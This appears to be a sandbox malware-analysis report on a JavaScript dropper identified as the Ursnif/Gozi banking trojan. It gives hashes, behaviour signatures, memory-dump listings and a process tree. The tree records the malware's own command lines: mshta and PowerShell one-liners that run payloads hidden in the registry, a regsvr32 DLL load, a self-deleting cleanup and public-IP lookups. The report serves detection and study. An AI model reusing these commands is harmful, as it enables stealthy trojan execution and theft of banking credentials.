Overview

overview

10

Static

static

view_prese...o0k.js

windows7_x64

10

view_prese...o0k.js

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v200410
  • submitted
    18-04-2020 00:01

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General

  • Target

    view_presentation_o0k.js

  • Size

    1.3MB

  • MD5

    aa23220bc3897c8f3248f93e28291757

  • SHA1

    5e630080abbfcb85d15d60aaf6560dfd5e0c4efd

  • SHA256

    c3798c2190c4929eefccf38dbcd703cd83c6209de2ac98ae7421b2469ae71426

  • SHA512

    2fe1a6476288a7249cdf81c89fb7215034e5cd2999bd26e6cfdadb601e9ac6cb13590c309dbe2c6fbba5a63690eb60e25f68746b4e0adda20cf7f3cd63b48a55

Score
10/10
bankertrojangozi_ifsbursnifspyware

Malware Config

Signatures

  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 1247 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Checks whether UAC is enabled 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Makes http(s) request 13 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Loads dropped DLL 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetThreadContext
    PID:2992
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\view_presentation_o0k.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3600
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\\XkKBGbRTFlXi.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\SysWOW64\regsvr32.exe
          C:\Users\Admin\AppData\Local\Temp\\XkKBGbRTFlXi.txt
          4⤵
          • Loads dropped DLL
          PID:1720
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\786D016B-7752-6A8D-C12C-9B3E8520FF52\\Apdsprov'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\786D016B-7752-6A8D-C12C-9B3E8520FF52").Assioker))
        3⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetThreadContext
        PID:504
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ejlyv34d\ejlyv34d.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1224
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES948A.tmp" "c:\Users\Admin\AppData\Local\Temp\ejlyv34d\CSC9248F7A134EF4B92B32AF1781DC3034.TMP"
            5⤵
              PID:1360
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nquu3jx1\nquu3jx1.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1520
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9574.tmp" "c:\Users\Admin\AppData\Local\Temp\nquu3jx1\CSCB24DD0A1F72C4E8AA7BF68A1AA1BDEB.TMP"
              5⤵
                PID:1636
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\XkKBGbRTFlXi.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetThreadContext
          PID:2108
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2912
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\958.bi1"
          2⤵
            PID:420
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:752
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\978.bi1"
              2⤵
                PID:3164
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:2728
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\958.bi1"
                  2⤵
                    PID:2720
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\978.bi1"
                    2⤵
                      PID:3132
                    • C:\Program Files\Windows Mail\WinMail.exe
                      "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                      2⤵
                        PID:1048
                    • C:\Windows\System32\RuntimeBroker.exe
                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                      1⤵
                        PID:3460
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        • Checks whether UAC is enabled
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:4068
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4068 CREDAT:82945 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:3620
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4068 CREDAT:82950 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:3592

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      • memory/504-13-0x00000174F96A0000-0x00000174F9751000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/1048-29-0x000002770E5E0000-0x000002770E5E1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2108-21-0x00000204598F0000-0x00000204599A1000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2108-18-0x00000204575D0000-0x00000204575D1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2912-20-0x000001DF05060000-0x000001DF05061000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2992-17-0x0000000003230000-0x00000000032E1000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2992-19-0x00000000057D0000-0x0000000005881000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2992-15-0x0000000003230000-0x00000000032E1000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/2992-12-0x00000000012C0000-0x00000000012C1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2992-30-0x0000000005920000-0x00000000059D1000-memory.dmp

                        Filesize

                        708KB

                        Download

                      • memory/3460-14-0x0000020138720000-0x0000020138721000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/4068-16-0x000002119F2D0000-0x000002119F2D1000-memory.dmp

                        Filesize

                        4KB

                        Download